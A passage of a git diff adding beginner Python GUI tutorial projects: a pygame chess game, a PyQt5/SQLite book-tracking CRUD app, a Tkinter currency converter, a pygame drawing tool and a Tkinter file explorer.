@@ +import pygame + +class Square: + def __init__(self, x, y, width, height): + self.x = x + self.y = y + self.width = width + self.height = height + + self.abs_x = x * width + self.abs_y = y * height + self.abs_pos = (self.abs_x, self.abs_y) + self.pos = (x, y) + self.color = 'light' if (x + y) % 2 == 0 else 'dark' + self.draw_color = (220, 189, 194) if self.color == 'light' else (53, 53, 53) + self.highlight_color = (100, 249, 83) if self.color == 'light' else (0, 228, 10) + self.occupying_piece = None + self.coord = self.get_coord() + self.highlight = False + + self.rect = pygame.Rect( + self.abs_x, + self.abs_y, + self.width, + self.height + ) + + + def get_coord(self): + columns = 'abcdefgh' + return columns[self.x] + str(self.y + 1) + + + def draw(self, display): + if self.highlight: + pygame.draw.rect(display, self.highlight_color, self.rect) + else: + pygame.draw.rect(display, self.draw_color, self.rect) + + if self.occupying_piece != None: + centering_rect = self.occupying_piece.img.get_rect() + centering_rect.center = self.rect.center + display.blit(self.occupying_piece.img, centering_rect.topleft) + diff --git a/gui-programming/chess-game/data/classes/pieces/Bishop.py b/gui-programming/chess-game/data/classes/pieces/Bishop.py new file mode 100644 index 00000000..797ff672 --- /dev/null +++ b/gui-programming/chess-game/data/classes/pieces/Bishop.py @@ -0,0 +1,55 @@ +import pygame + +from data.classes.Piece import Piece + +class Bishop(Piece): + def __init__(self, pos, color, board): + super().__init__(pos, color, board) + + img_path = 'data/imgs/' + color[0] + '_bishop.png' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, (board.tile_width - 20, board.tile_height - 20)) + + self.notation = 'B' + + + def get_possible_moves(self, board): + output = [] + + moves_ne = [] + for i in range(1, 8): + if self.x + i > 7 or self.y - i < 0: + break + moves_ne.append(board.get_square_from_pos( + (self.x + i, self.y - i) + )) + output.append(moves_ne) + + moves_se = [] + for i in range(1, 8): + if self.x + i > 7 or self.y + i > 7: + break + moves_se.append(board.get_square_from_pos( + (self.x + i, self.y + i) + )) + output.append(moves_se) + + moves_sw = [] + for i in range(1, 8): + if self.x - i < 0 or self.y + i > 7: + break + moves_sw.append(board.get_square_from_pos( + (self.x - i, self.y + i) + )) + output.append(moves_sw) + + moves_nw = [] + for i in range(1, 8): + if self.x - i < 0 or self.y - i < 0: + break + moves_nw.append(board.get_square_from_pos( + (self.x - i, self.y - i) + )) + output.append(moves_nw) + + return output diff --git a/gui-programming/chess-game/data/classes/pieces/King.py b/gui-programming/chess-game/data/classes/pieces/King.py new file mode 100644 index 00000000..e77a68a1 --- /dev/null +++ b/gui-programming/chess-game/data/classes/pieces/King.py @@ -0,0 +1,96 @@ +import pygame + +from data.classes.Piece import Piece + +class King(Piece): + def __init__(self, pos, color, board): + super().__init__(pos, color, board) + + img_path = 'data/imgs/' + color[0] + '_king.png' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, (board.tile_width - 20, board.tile_height - 20)) + + self.notation = 'K' + + + def get_possible_moves(self, board): + output = [] + moves = [ + (0,-1), # north + (1, -1), # ne + (1, 0), # east + (1, 1), # se + (0, 1), # south + (-1, 1), # sw + (-1, 0), # west + (-1, -1), # nw + ] + + for move in moves: + new_pos = (self.x + move[0], self.y + move[1]) + if ( + new_pos[0] < 8 and + new_pos[0] >= 0 and + new_pos[1] < 8 and + new_pos[1] >= 0 + ): + output.append([ + board.get_square_from_pos( + new_pos + ) + ]) + + return output + + def can_castle(self, board): + if not self.has_moved: + + if self.color == 'white': + queenside_rook = board.get_piece_from_pos((0, 7)) + kingside_rook = board.get_piece_from_pos((7, 7)) + if queenside_rook != None: + if not queenside_rook.has_moved: + if [ + board.get_piece_from_pos((i, 7)) for i in range(1, 4) + ] == [None, None, None]: + return 'queenside' + if kingside_rook != None: + if not kingside_rook.has_moved: + if [ + board.get_piece_from_pos((i, 7)) for i in range(5, 7) + ] == [None, None]: + return 'kingside' + + elif self.color == 'black': + queenside_rook = board.get_piece_from_pos((0, 0)) + kingside_rook = board.get_piece_from_pos((7, 0)) + if queenside_rook != None: + if not queenside_rook.has_moved: + if [ + board.get_piece_from_pos((i, 0)) for i in range(1, 4) + ] == [None, None, None]: + return 'queenside' + if kingside_rook != None: + if not kingside_rook.has_moved: + if [ + board.get_piece_from_pos((i, 0)) for i in range(5, 7) + ] == [None, None]: + return 'kingside' + + + def get_valid_moves(self, board): + output = [] + for square in self.get_moves(board): + if not board.is_in_check(self.color, board_change=[self.pos, square.pos]): + output.append(square) + + if self.can_castle(board) == 'queenside': + output.append( + board.get_square_from_pos((self.x - 2, self.y)) + ) + if self.can_castle(board) == 'kingside': + output.append( + board.get_square_from_pos((self.x + 2, self.y)) + ) + + return output diff --git a/gui-programming/chess-game/data/classes/pieces/Knight.py b/gui-programming/chess-game/data/classes/pieces/Knight.py new file mode 100644 index 00000000..7f1b7c93 --- /dev/null +++ b/gui-programming/chess-game/data/classes/pieces/Knight.py @@ -0,0 +1,43 @@ +import pygame + +from data.classes.Piece import Piece + +class Knight(Piece): + def __init__(self, pos, color, board): + super().__init__(pos, color, board) + + img_path = 'data/imgs/' + color[0] + '_knight.png' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, (board.tile_width - 20, board.tile_height - 20)) + + self.notation = 'N' + + + def get_possible_moves(self, board): + output = [] + moves = [ + (1, -2), + (2, -1), + (2, 1), + (1, 2), + (-1, 2), + (-2, 1), + (-2, -1), + (-1, -2) + ] + + for move in moves: + new_pos = (self.x + move[0], self.y + move[1]) + if ( + new_pos[0] < 8 and + new_pos[0] >= 0 and + new_pos[1] < 8 and + new_pos[1] >= 0 + ): + output.append([ + board.get_square_from_pos( + new_pos + ) + ]) + + return output diff --git a/gui-programming/chess-game/data/classes/pieces/Pawn.py b/gui-programming/chess-game/data/classes/pieces/Pawn.py new file mode 100644 index 00000000..3179a63f --- /dev/null +++ b/gui-programming/chess-game/data/classes/pieces/Pawn.py @@ -0,0 +1,86 @@ +import pygame + +from data.classes.Piece import Piece + +class Pawn(Piece): + def __init__(self, pos, color, board): + super().__init__(pos, color, board) + + img_path = 'data/imgs/' + color[0] + '_pawn.png' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, (board.tile_width - 35, board.tile_height - 35)) + + self.notation = ' ' + + + def get_possible_moves(self, board): + output = [] + moves = [] + + # move forward + if self.color == 'white': + moves.append((0, -1)) + if not self.has_moved: + moves.append((0, -2)) + + elif self.color == 'black': + moves.append((0, 1)) + if not self.has_moved: + moves.append((0, 2)) + + for move in moves: + new_pos = (self.x, self.y + move[1]) + if new_pos[1] < 8 and new_pos[1] >= 0: + output.append( + board.get_square_from_pos(new_pos) + ) + + return output + + + def get_moves(self, board): + output = [] + for square in self.get_possible_moves(board): + if square.occupying_piece != None: + break + else: + output.append(square) + + if self.color == 'white': + if self.x + 1 < 8 and self.y - 1 >= 0: + square = board.get_square_from_pos( + (self.x + 1, self.y - 1) + ) + if square.occupying_piece != None: + if square.occupying_piece.color != self.color: + output.append(square) + if self.x - 1 >= 0 and self.y - 1 >= 0: + square = board.get_square_from_pos( + (self.x - 1, self.y - 1) + ) + if square.occupying_piece != None: + if square.occupying_piece.color != self.color: + output.append(square) + + elif self.color == 'black': + if self.x + 1 < 8 and self.y + 1 < 8: + square = board.get_square_from_pos( + (self.x + 1, self.y + 1) + ) + if square.occupying_piece != None: + if square.occupying_piece.color != self.color: + output.append(square) + if self.x - 1 >= 0 and self.y + 1 < 8: + square = board.get_square_from_pos( + (self.x - 1, self.y + 1) + ) + if square.occupying_piece != None: + if square.occupying_piece.color != self.color: + output.append(square) + + return output + + def attacking_squares(self, board): + moves = self.get_moves(board) + # return the diagonal moves + return [i for i in moves if i.x != self.x] \ No newline at end of file diff --git a/gui-programming/chess-game/data/classes/pieces/Queen.py b/gui-programming/chess-game/data/classes/pieces/Queen.py new file mode 100644 index 00000000..91d0275b --- /dev/null +++ b/gui-programming/chess-game/data/classes/pieces/Queen.py @@ -0,0 +1,84 @@ +import pygame + +from data.classes.Piece import Piece + +class Queen(Piece): + def __init__(self, pos, color, board): + super().__init__(pos, color, board) + + img_path = 'data/imgs/' + color[0] + '_queen.png' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, (board.tile_width - 20, board.tile_height - 20)) + + self.notation = 'Q' + + + def get_possible_moves(self, board): + output = [] + + moves_north = [] + for y in range(self.y)[::-1]: + moves_north.append(board.get_square_from_pos( + (self.x, y) + )) + output.append(moves_north) + + moves_ne = [] + for i in range(1, 8): + if self.x + i > 7 or self.y - i < 0: + break + moves_ne.append(board.get_square_from_pos( + (self.x + i, self.y - i) + )) + output.append(moves_ne) + + moves_east = [] + for x in range(self.x + 1, 8): + moves_east.append(board.get_square_from_pos( + (x, self.y) + )) + output.append(moves_east) + + moves_se = [] + for i in range(1, 8): + if self.x + i > 7 or self.y + i > 7: + break + moves_se.append(board.get_square_from_pos( + (self.x + i, self.y + i) + )) + output.append(moves_se) + + moves_south = [] + for y in range(self.y + 1, 8): + moves_south.append(board.get_square_from_pos( + (self.x, y) + )) + output.append(moves_south) + + moves_sw = [] + for i in range(1, 8): + if self.x - i < 0 or self.y + i > 7: + break + moves_sw.append(board.get_square_from_pos( + (self.x - i, self.y + i) + )) + output.append(moves_sw) + + moves_west = [] + for x in range(self.x)[::-1]: + moves_west.append(board.get_square_from_pos( + (x, self.y) + )) + output.append(moves_west) + + moves_nw = [] + for i in range(1, 8): + if self.x - i < 0 or self.y - i < 0: + break + moves_nw.append(board.get_square_from_pos( + (self.x - i, self.y - i) + )) + output.append(moves_nw) + + return output + diff --git a/gui-programming/chess-game/data/classes/pieces/Rook.py b/gui-programming/chess-game/data/classes/pieces/Rook.py new file mode 100644 index 00000000..aab6a9d1 --- /dev/null +++ b/gui-programming/chess-game/data/classes/pieces/Rook.py @@ -0,0 +1,47 @@ +import pygame + +from data.classes.Piece import Piece + +class Rook(Piece): + def __init__(self, pos, color, board): + super().__init__(pos, color, board) + + img_path = 'data/imgs/' + color[0] + '_rook.png' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, (board.tile_width - 20, board.tile_height - 20)) + + self.notation = 'R' + + + def get_possible_moves(self, board): + output = [] + + moves_north = [] + for y in range(self.y)[::-1]: + moves_north.append(board.get_square_from_pos( + (self.x, y) + )) + output.append(moves_north) + + moves_east = [] + for x in range(self.x + 1, 8): + moves_east.append(board.get_square_from_pos( + (x, self.y) + )) + output.append(moves_east) + + moves_south = [] + for y in range(self.y + 1, 8): + moves_south.append(board.get_square_from_pos( + (self.x, y) + )) + output.append(moves_south) + + moves_west = [] + for x in range(self.x)[::-1]: + moves_west.append(board.get_square_from_pos( + (x, self.y) + )) + output.append(moves_west) + + return output diff --git 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files /dev/null and b/gui-programming/chess-game/data/imgs/w_rook.png differ diff --git a/gui-programming/chess-game/main.py b/gui-programming/chess-game/main.py new file mode 100644 index 00000000..50f24c5a --- /dev/null +++ b/gui-programming/chess-game/main.py @@ -0,0 +1,37 @@ +import pygame + +from data.classes.Board import Board + +pygame.init() + +WINDOW_SIZE = (600, 600) +screen = pygame.display.set_mode(WINDOW_SIZE) + +board = Board(WINDOW_SIZE[0], WINDOW_SIZE[1]) + +def draw(display): + display.fill('white') + board.draw(display) + pygame.display.update() + + +if __name__ == '__main__': + running = True + while running: + mx, my = pygame.mouse.get_pos() + for event in pygame.event.get(): + # Quit the game if the user presses the close button + if event.type == pygame.QUIT: + running = False + elif event.type == pygame.MOUSEBUTTONDOWN: + # If the mouse is clicked + if event.button == 1: + board.handle_click(mx, my) + if board.is_in_checkmate('black'): # If black is in checkmate + print('White wins!') + running = False + elif board.is_in_checkmate('white'): # If white is in checkmate + print('Black wins!') + running = False + # Draw the board + draw(screen) \ No newline at end of file diff --git a/gui-programming/chess-game/requirements.txt b/gui-programming/chess-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/chess-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/crud-app-pyqt5/README.md b/gui-programming/crud-app-pyqt5/README.md new file mode 100644 index 00000000..45763138 --- /dev/null +++ b/gui-programming/crud-app-pyqt5/README.md @@ -0,0 +1 @@ +# [How to Build a CRUD App with PyQt5 and SQLite3 in Python](https://thepythoncode.com/article/build-a-crud-app-using-pyqt5-and-sqlite3-in-python) \ No newline at end of file diff --git a/gui-programming/crud-app-pyqt5/db.py b/gui-programming/crud-app-pyqt5/db.py new file mode 100644 index 00000000..d00b26d6 --- /dev/null +++ b/gui-programming/crud-app-pyqt5/db.py @@ -0,0 +1,72 @@ +import sqlite3 +import datetime + + +def create_table(): + db = sqlite3.connect('database.db') + query = """ + CREATE TABLE if not exists BOOKS + (ID INTEGER PRIMARY KEY AUTOINCREMENT, + NAME TEXT NOT NULL, + CREATED_AT DATETIME default current_timestamp, + COMPLETED_AT DATATIME + ) + """ + cur = db.cursor() + cur.execute(query) + db.close() + + +create_table() + + +def insert_book(name, completed_at): + db = sqlite3.connect('database.db') + query = """ + INSERT INTO BOOKS(NAME, COMPLETED_AT) + + VALUES (?,?) + """ + + cur = db.cursor() + cur.execute(query, (name, completed_at)) + db.commit() + db.close() + print('completed') + + +def get_all_books(): + db = sqlite3.connect('database.db') + statement = 'SELECT id, name, completed_at FROM BOOKS' + cur = db.cursor() + items_io = cur.execute(statement) + item_lst = [i for i in items_io] + return item_lst + + +# insert_book('Time, fast or slow', datetime.datetime.now()) + +def add_book(self): + title = self.title_input.text() + if title: + cursor.execute("INSERT INTO books (title) VALUES (?)", (title,)) + conn.commit() + self.title_input.clear() + self.load_books() + + +def delete_book(book_id): + # Connect to the SQLite database + db = sqlite3.connect('database.db') + + # Define the SQL query to delete a book with a specific ID + query = "DELETE FROM books WHERE id = ?" + + # Execute the query with the provided book ID as a parameter + db.execute(query, (book_id,)) + + # Commit the changes to the database + db.commit() + + # Close the database connection + db.close() diff --git a/gui-programming/crud-app-pyqt5/main.py b/gui-programming/crud-app-pyqt5/main.py new file mode 100644 index 00000000..277e0159 --- /dev/null +++ b/gui-programming/crud-app-pyqt5/main.py @@ -0,0 +1,128 @@ +from PyQt5.QtWidgets import (QApplication, QMainWindow, QVBoxLayout, QScrollArea, + QLineEdit, QFormLayout, QHBoxLayout, QFrame, QDateEdit, + QPushButton, QLabel, QListWidget, QDialog, QAction, QToolBar) +from PyQt5.QtCore import Qt + +from datetime import datetime +from db import (get_all_books, create_table, insert_book, delete_book) + + +class CreateRecord(QFrame): + def __init__(self, main_window): + super().__init__() + self.main_window = main_window # Pass a reference to the main window + + self.date_entry = QDateEdit() + self.book_name = QLineEdit() + self.book_name.setPlaceholderText('Book name') + self.add_button = QPushButton(text="Add Book") + # Connect the button to add_book function + self.add_button.clicked.connect(self.add_book) + + layout = QVBoxLayout(self) + layout.addWidget(QLabel('Book Name:')) + layout.addWidget(self.book_name) + layout.addWidget(QLabel('Completed Date:')) + layout.addWidget(self.date_entry) + layout.addWidget(self.add_button) + + def add_book(self): + book_name = self.book_name.text() + completed_date = self.date_entry.date().toString("yyyy-MM-dd") + + if book_name: + insert_book(book_name, completed_date) + # Reload the book collection after adding a book + self.main_window.load_collection() + self.book_name.clear() # Clear the input field + + +class BookCard(QFrame): + def __init__(self, book_id, bookname, completed_date): + super().__init__() + self.setStyleSheet( + 'background:white; border-radius:4px; color:black;' + ) + self.setFixedHeight(110) + self.book_id = book_id + layout = QVBoxLayout() + label = QLabel(f'{bookname}') + + # Update the format string here + parsed_datetime = datetime.strptime(completed_date, "%Y-%m-%d") + formatted_datetime = parsed_datetime.strftime("%Y-%m-%d") + + date_completed = QLabel(f"Completed {formatted_datetime}") + delete_button = QPushButton( + text='Delete', clicked=self.delete_book_click) + # delete_button.setFixedWidth(60) + delete_button.setStyleSheet('background:red; padding:4px;') + + layout.addWidget(label) + layout.addWidget(date_completed) + layout.addWidget(delete_button) + layout.addStretch() + self.setLayout(layout) + + def delete_book_click(self): + delete_book(self.book_id) + self.close() + + +class Main(QMainWindow): + def __init__(self): + super().__init__() + self.initUI() + self.load_collection() + + def initUI(self): + self.main_frame = QFrame() + self.main_layout = QVBoxLayout(self.main_frame) + + # add register widget + # Pass a reference to the main window + self.register_widget = CreateRecord(self) + self.main_layout.addWidget(self.register_widget) + + books_label = QLabel('Completed Books') + books_label.setStyleSheet('font-size:18px;') + self.main_layout.addWidget(books_label) + self.book_collection_area() + + self.setCentralWidget(self.main_frame) + + def book_collection_area(self): + scroll_frame = QFrame() + self.book_collection_layout = QVBoxLayout(scroll_frame) + + scroll = QScrollArea() + scroll.setWidgetResizable(True) + scroll.setWidget(scroll_frame) + scroll.setStyleSheet('QScrollArea{border:0px}') + + self.book_collection_layout.addStretch() + self.main_layout.addWidget(scroll) + + def load_collection(self): + # Clear existing book cards before reloading + for i in reversed(range(self.book_collection_layout.count())): + widget = self.book_collection_layout.itemAt(i).widget() + if widget is not None: + widget.deleteLater() + + collections = get_all_books() + for collection in collections: + frame = BookCard(*collection) + self.book_collection_layout.insertWidget(0, frame) + + +def main(): + app = QApplication([]) + app.setStyle('fusion') + win = Main() + win.show() + app.exec_() + + +if __name__ == '__main__': + main() diff --git a/gui-programming/crud-app-pyqt5/requirements.txt b/gui-programming/crud-app-pyqt5/requirements.txt new file mode 100644 index 00000000..300ea5c9 --- /dev/null +++ b/gui-programming/crud-app-pyqt5/requirements.txt @@ -0,0 +1 @@ +pyqt5 diff --git a/gui-programming/currency-converter-gui/README.md b/gui-programming/currency-converter-gui/README.md new file mode 100644 index 00000000..55e65d8a --- /dev/null +++ b/gui-programming/currency-converter-gui/README.md @@ -0,0 +1 @@ +# [How to Build a GUI Currency Converter using Tkinter in Python](https://www.thepythoncode.com/article/currency-converter-gui-using-tkinter-python) \ No newline at end of file diff --git a/gui-programming/currency-converter-gui/currency_converter.py b/gui-programming/currency-converter-gui/currency_converter.py new file mode 100644 index 00000000..b60486ec --- /dev/null +++ b/gui-programming/currency-converter-gui/currency_converter.py @@ -0,0 +1,113 @@ +# importing everything from tkinter +from tkinter import * +# importing ttk widgets from tkinter +from tkinter import ttk +import requests +# tkinter message box for displaying errors +from tkinter.messagebox import showerror + + +API_KEY = 'put your API key here' + +# the Standard request url +url = f'https://v6.exchangerate-api.com/v6/%7BAPI_KEY%7D/latest/USD' + +# making the Standard request to the API +response = requests.get(f'{url}').json() + +# converting the currencies to dictionaries +currencies = dict(response['conversion_rates']) + +def convert_currency(): + # will execute the code when everything is ok + try: + # getting currency from first combobox + source = from_currency_combo.get() + # getting currency from second combobox + destination = to_currency_combo.get() + # getting amound from amount_entry + amount = amount_entry.get() + # sending a request to the Pair Conversion url and converting it to json + result = requests.get(f'https://v6.exchangerate-api.com/v6/%7BAPI_KEY%7D/pair/%7Bsource%7D/%7Bdestination%7D/%7Bamount%7D').json() + # getting the conversion result from response result + converted_result = result['conversion_result'] + # formatting the results + formatted_result = f'{amount} {source} = {converted_result} {destination}' + # adding text to the empty result label + result_label.config(text=formatted_result) + # adding text to the empty time label + time_label.config(text='Last updated,' + result['time_last_update_utc']) + # will catch all the errors that might occur + # ConnectionTimeOut, JSONDecodeError etc + except: + showerror(title='Error', message="An error occurred!!. Fill all the required field or check your internet connection.") + + +# creating the main window +window = Tk() + +# this gives the window the width(310), height(320) and the position(center) +window.geometry('310x340+500+200') + +# this is the title for the window +window.title('Currency Converter') + +# this will make the window not resizable, since height and width is FALSE +window.resizable(height=FALSE, width=FALSE) + +# colors for the application +primary = '#081F4D' +secondary = '#0083FF' +white = '#FFFFFF' + +# the top frame +top_frame = Frame(window, bg=primary, width=300, height=80) +top_frame.grid(row=0, column=0) + +# label for the text Currency Converter +name_label = Label(top_frame, text='Currency Converter', bg=primary, fg=white, pady=30, padx=24, justify=CENTER, font=('Poppins 20 bold')) +name_label.grid(row=0, column=0) + + +# the bottom frame +bottom_frame = Frame(window, width=300, height=250) +bottom_frame.grid(row=1, column=0) + +# widgets inside the bottom frame +from_currency_label = Label(bottom_frame, text='FROM:', font=('Poppins 10 bold'), justify=LEFT) +from_currency_label.place(x=5, y=10) + +to_currency_label = Label(bottom_frame, text='TO:', font=('Poppins 10 bold'), justify=RIGHT) +to_currency_label.place(x=160, y=10) + +# this is the combobox for holding from_currencies +from_currency_combo = ttk.Combobox(bottom_frame, values=list(currencies.keys()), width=14, font=('Poppins 10 bold')) +from_currency_combo.place(x=5, y=30) + +# this is the combobox for holding to_currencies +to_currency_combo = ttk.Combobox(bottom_frame, values=list(currencies.keys()), width=14, font=('Poppins 10 bold')) +to_currency_combo.place(x=160, y=30) + +# the label for AMOUNT +amount_label = Label(bottom_frame, text='AMOUNT:', font=('Poppins 10 bold')) +amount_label.place(x=5, y=55) + +# entry for amount +amount_entry = Entry(bottom_frame, width=25, font=('Poppins 15 bold')) +amount_entry.place(x=5, y=80) + +# an empty label for displaying the result +result_label = Label(bottom_frame, text='', font=('Poppins 10 bold')) +result_label.place(x=5, y=115) + +# an empty label for displaying the time +time_label = Label(bottom_frame, text='', font=('Poppins 10 bold')) +time_label.place(x=5, y=135) + +# the clickable button for converting the currency +convert_button = Button(bottom_frame, text="CONVERT", bg=secondary, fg=white, font=('Poppins 10 bold'), command=convert_currency) +convert_button.place(x=5, y=165) + + +# this runs the window infinitely until it is closed +window.mainloop() \ No newline at end of file diff --git a/gui-programming/currency-converter-gui/requirements.txt b/gui-programming/currency-converter-gui/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/gui-programming/currency-converter-gui/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/gui-programming/drawing-tool-in-pygame/README.md b/gui-programming/drawing-tool-in-pygame/README.md new file mode 100644 index 00000000..fc6563c2 --- /dev/null +++ b/gui-programming/drawing-tool-in-pygame/README.md @@ -0,0 +1 @@ +# [How to Make a Drawing Program in Python](https://www.thepythoncode.com/article/make-a-drawing-program-with-python) \ No newline at end of file diff --git a/gui-programming/drawing-tool-in-pygame/drawing_tool.py b/gui-programming/drawing-tool-in-pygame/drawing_tool.py new file mode 100644 index 00000000..26e0b070 --- /dev/null +++ b/gui-programming/drawing-tool-in-pygame/drawing_tool.py @@ -0,0 +1,164 @@ +# Imports +import sys +import pygame +import ctypes + +# Increas Dots Per inch so it looks sharper +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +# Pygame Configuration +pygame.init() +fps = 300 +fpsClock = pygame.time.Clock() +width, height = 640, 480 +screen = pygame.display.set_mode((width, height), pygame.RESIZABLE) + +font = pygame.font.SysFont('Arial', 20) + +# Variables + +# Our Buttons will append themself to this list +objects = [] + +# Initial color +drawColor = [0, 0, 0] + +# Initial brush size +brushSize = 30 +brushSizeSteps = 3 + +# Drawing Area Size +canvasSize = [800, 800] + +# Button Class +class Button(): + def __init__(self, x, y, width, height, buttonText='Button', onclickFunction=None, onePress=False): + self.x = x + self.y = y + self.width = width + self.height = height + self.onclickFunction = onclickFunction + self.onePress = onePress + + self.fillColors = { + 'normal': '#ffffff', + 'hover': '#666666', + 'pressed': '#333333', + } + + self.buttonSurface = pygame.Surface((self.width, self.height)) + self.buttonRect = pygame.Rect(self.x, self.y, self.width, self.height) + + self.buttonSurf = font.render(buttonText, True, (20, 20, 20)) + + self.alreadyPressed = False + + objects.append(self) + + def process(self): + + mousePos = pygame.mouse.get_pos() + + self.buttonSurface.fill(self.fillColors['normal']) + if self.buttonRect.collidepoint(mousePos): + self.buttonSurface.fill(self.fillColors['hover']) + + if pygame.mouse.get_pressed(num_buttons=3)[0]: + self.buttonSurface.fill(self.fillColors['pressed']) + + if self.onePress: + self.onclickFunction() + + elif not self.alreadyPressed: + self.onclickFunction() + self.alreadyPressed = True + + else: + self.alreadyPressed = False + + self.buttonSurface.blit(self.buttonSurf, [ + self.buttonRect.width/2 - self.buttonSurf.get_rect().width/2, + self.buttonRect.height/2 - self.buttonSurf.get_rect().height/2 + ]) + screen.blit(self.buttonSurface, self.buttonRect) + + +# Handler Functions + +# Changing the Color +def changeColor(color): + global drawColor + drawColor = color + +# Changing the Brush Size +def changebrushSize(dir): + global brushSize + if dir == 'greater': + brushSize += brushSizeSteps + else: + brushSize -= brushSizeSteps + +# Save the surface to the Disk +def save(): + pygame.image.save(canvas, "canvas.png") + +# Button Variables. +buttonWidth = 120 +buttonHeight = 35 + +# Buttons and their respective functions. +buttons = [ + ['Black', lambda: changeColor([0, 0, 0])], + ['White', lambda: changeColor([255, 255, 255])], + ['Blue', lambda: changeColor([0, 0, 255])], + ['Green', lambda: changeColor([0, 255, 0])], + ['Brush Larger', lambda: changebrushSize('greater')], + ['Brush Smaller', lambda: changebrushSize('smaller')], + ['Save', save], +] + +# Making the buttons +for index, buttonName in enumerate(buttons): + Button(index * (buttonWidth + 10) + 10, 10, buttonWidth, + buttonHeight, buttonName[0], buttonName[1]) + +# Canvas +canvas = pygame.Surface(canvasSize) +canvas.fill((255, 255, 255)) + +# Game loop. +while True: + screen.fill((30, 30, 30)) + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + # Drawing the Buttons + for object in objects: + object.process() + # Draw the Canvas at the center of the screen + x, y = screen.get_size() + screen.blit(canvas, [x/2 - canvasSize[0]/2, y/2 - canvasSize[1]/2]) + # Drawing with the mouse + if pygame.mouse.get_pressed()[0]: + mx, my = pygame.mouse.get_pos() + # Calculate Position on the Canvas + dx = mx - x/2 + canvasSize[0]/2 + dy = my - y/2 + canvasSize[1]/2 + pygame.draw.circle( + canvas, + drawColor, + [dx, dy], + brushSize, + ) + # Reference Dot + pygame.draw.circle( + screen, + drawColor, + [100, 100], + brushSize, + ) + + pygame.display.flip() + fpsClock.tick(fps) diff --git a/gui-programming/drawing-tool-in-pygame/requirements.txt b/gui-programming/drawing-tool-in-pygame/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/drawing-tool-in-pygame/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/file-explorer/README.md b/gui-programming/file-explorer/README.md new file mode 100644 index 00000000..ddcf6dbc --- /dev/null +++ b/gui-programming/file-explorer/README.md @@ -0,0 +1 @@ +# [How to Make a File Explorer using Tkinter in Python](https://www.thepythoncode.com/article/create-a-simple-file-explorer-using-tkinter-in-python) \ No newline at end of file diff --git a/gui-programming/file-explorer/file_explorer.py b/gui-programming/file-explorer/file_explorer.py new file mode 100644 index 00000000..5853aac9 --- /dev/null +++ b/gui-programming/file-explorer/file_explorer.py @@ -0,0 +1,112 @@ +from tkinter import * +import os +import ctypes +import pathlib + +# Increase Dots Per inch so it looks sharper +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +root = Tk() +# set a title for our file explorer main window +root.title('Simple Explorer') + +root.grid_columnconfigure(1, weight=1) +root.grid_rowconfigure(1, weight=1) + +def pathChange(*event): + # Get all Files and Folders from the given Directory + directory = os.listdir(currentPath.get()) + # Clearing the list + list.delete(0, END) + # Inserting the files and directories into the list + for file in directory: + list.insert(0, file) + +def changePathByClick(event=None): + # Get clicked item. + picked = list.get(list.curselection()[0]) + # get the complete path by joining the current path with the picked item + path = os.path.join(currentPath.get(), picked) + # Check if item is file, then open it + if os.path.isfile(path): + print('Opening: '+path) + os.startfile(path) + # Set new path, will trigger pathChange function. + else: + currentPath.set(path) + +def goBack(event=None): + # get the new path + newPath = pathlib.Path(currentPath.get()).parent + # set it to currentPath + currentPath.set(newPath) + # simple message + print('Going Back') + + +def open_popup(): + global top + top = Toplevel(root) + top.geometry("250x150") + top.resizable(False, False) + top.title("Child Window") + top.columnconfigure(0, weight=1) + Label(top, text='Enter File or Folder name').grid() + Entry(top, textvariable=newFileName).grid(column=0, pady=10, sticky='NSEW') + Button(top, text="Create", command=newFileOrFolder).grid(pady=10, sticky='NSEW') + +def newFileOrFolder(): + # check if it is a file name or a folder + if len(newFileName.get().split('.')) != 1: + open(os.path.join(currentPath.get(), newFileName.get()), 'w').close() + else: + os.mkdir(os.path.join(currentPath.get(), newFileName.get())) + # destroy the top + top.destroy() + pathChange() + +top = '' + +# String variables +newFileName = StringVar(root, "File.dot", 'new_name') +currentPath = StringVar( + root, + name='currentPath', + value=pathlib.Path.cwd() +) +# Bind changes in this variable to the pathChange function +currentPath.trace('w', pathChange) + +Button(root, text='Folder Up', command=goBack).grid( + sticky='NSEW', column=0, row=0 +) + +# Keyboard shortcut for going up +root.bind("", goBack) + +Entry(root, textvariable=currentPath).grid( + sticky='NSEW', column=1, row=0, ipady=10, ipadx=10 +) + +# List of files and folder +list = Listbox(root) +list.grid(sticky='NSEW', column=1, row=1, ipady=10, ipadx=10) + +# List Accelerators +list.bind('', changePathByClick) +list.bind('', changePathByClick) + + +# Menu +menubar = Menu(root) +# Adding a new File button +menubar.add_command(label="Add File or Folder", command=open_popup) +# Adding a quit button to the Menubar +menubar.add_command(label="Quit", command=root.quit) +# Make the menubar the Main Menu +root.config(menu=menubar) + +# Call the function so the list displays +pathChange('') +# run the main program +root.mainloop() diff --git a/gui-programming/flappy-bird-game/README.md b/gui-programming/flappy-bird-game/README.md new file mode 100644 index 00000000..5bcb2419 --- /dev/null +++ b/gui-programming/flappy-bird-game/README.md @@ -0,0 +1 @@ +# [How to Make a Flappy Bird Game in Python](https://thepythoncode.com/article/make-a-flappy-bird-game-python) \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/assets/bird/0.png b/gui-programming/flappy-bird-game/assets/bird/0.png new file mode 100644 index 00000000..cc0c1f20 Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/bird/0.png differ diff --git a/gui-programming/flappy-bird-game/assets/bird/1.png b/gui-programming/flappy-bird-game/assets/bird/1.png new file mode 100644 index 00000000..73e9592a Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/bird/1.png differ diff --git 